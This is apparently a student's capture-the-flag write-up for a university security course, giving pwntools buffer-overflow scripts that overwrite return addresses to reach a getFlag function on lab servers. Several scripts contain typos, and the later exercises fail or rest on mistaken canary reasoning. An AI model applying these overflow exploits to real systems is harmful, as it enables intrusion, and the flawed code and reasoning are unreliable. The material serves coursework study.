INF226 Compulsory Assignment 1 (Fall 2022)

Ex. 00

Capture the flag from the 00 program running at inf226.puffling.no at port 7000)

Looking at the source code it is clear that to override the locals.check we need to execute a buffer overflow attack. The buffer is 17. The uncontrolled user input may cause a vulnerability and then a buffer overflow attack could be executed.

First, I established a connection to the server. Then I would send data to the server and sometimes it returned “stack smashing detected ***: terminated\n”

I captured the flag upon sending already filled 16 allowed bytes + the correct position in bytes at the end (found with flat())

Source code:

```
from pwn import *

io = remote(‘inf226.puffling.no', 7000)

io.recvline()

buffer = b'X'*16

address = flat(0x79beef8b)

secret = buffer+address

io.sendline(secret)

Io. Interactive()
```

```
“[+] Opening connection to inf226.puffling.no on port 7000: Done

[*] Switching to interactive mode

Well done, you can get the flag

INF226{s3cR3t_f1Agz}”
```

Hence the flag is **INF226{s3cR3t_f1Agz)**

Ex. 01

Capture the flag from the 01 program running at inf226.puffling.no at port 7001)

Again, looking at the source code, it is clear that there exists a vulnerability where the user is able to search the binary file for the correct position of the getFlag function – buffer overflow.

Using objdump I was able to find the placement of the getFlag function:

```
owe005@owe005-VirtualBox:~/Desktop/python$ objdump -d 01 | grep getFlag

00000000004011f6 <getFlag>:
```

From here the address is *0x4011f6* and we're able to repeat the steps from the previous exercise to find the flag.

Source code:

```
from pwn import *

io = remote('inf226.puffling.no', 7001)

io.recvline()

buffer = b'X'*16

address = p64(0x4011f6)

secret = buffer+address

io.sendline(secret)

io.interactive()
```

```
"Function is going to 0x4011f6

Congrats! you can get the flag

INF226{2b_0r_!2b}"
```

Hence the flag is **INF226{2b_0R_!2b}**

Ex. 02

Capture the flag from the 02 program running at inf226.puffling.no at port 7002)

Finding the target address by doing the same as on Ex. 01.

```
owe005@owe005-VirtualBox:~/Desktop/python$ objdump -d 02 | grep getFlag
0000000000401236 <getFlag>:
```

Then we have to find the canary address.

```
[+] Opening connection to inf226.puffling.no on port 7002: Done
b'7ffd61800120\n'
```

If we send the buffer+canaryaddress+ b'X'*8+targetaddress,

I think it should return what the canary is saying.

Unfortunately, I get an error. So, I was not able to capture the flag.

```
*** stack smashing detected ***: terminated
```

Source code:

```
from pwn import *
io = remote('inf226.puffling.no', 7002)
io.recv() #7ffc046a6e50
offset = b'16'
io.sendline(offset)
canary = p64(0x7ffc046a6e50)
buffer = b'X'*(17)
address = p64(0x40123b) #0000000000401236
secret = buffer+canary+b'X'*8+address
io.sendline(secret)
io.recv()
io.interactive()
```

Ex. 03

Capture the flag from the 03 program running at inf226.puffling.no at port 7003)

```
«owe005@owe005-VirtualBox:~/Desktop/python$ objdump -d 03 | grep getFlag

00000000004011d6 <getFlag>: “
```

Target address is 0x4011d6

Source code:

```
from pwn import *

io = remote('inf226.puffling.no', 7003)

print(io.recvline())


canary= p64(0x7fffffffe098)

target = p64(0x4011d6)

secret = canary+target

io.sendline(secret)

io.interactive()
```

this one was quite difficult!

```
“owe005@owe005-VirtualBox:~/Desktop/python$ /bin/python
/home/owe005/Desktop/python/03.py

[+] Opening connection to inf226.puffling.no on port 7003: Done

b'Do not, for one repulse, forego the purpose that you resolved to effect -William
Shakespeare, The Tempest\n'

[*] Switching to interactive mode

5

Do not, for one repulse, forego the purpose that you resolved to effect -William
Shakespeare, The Tempest”
```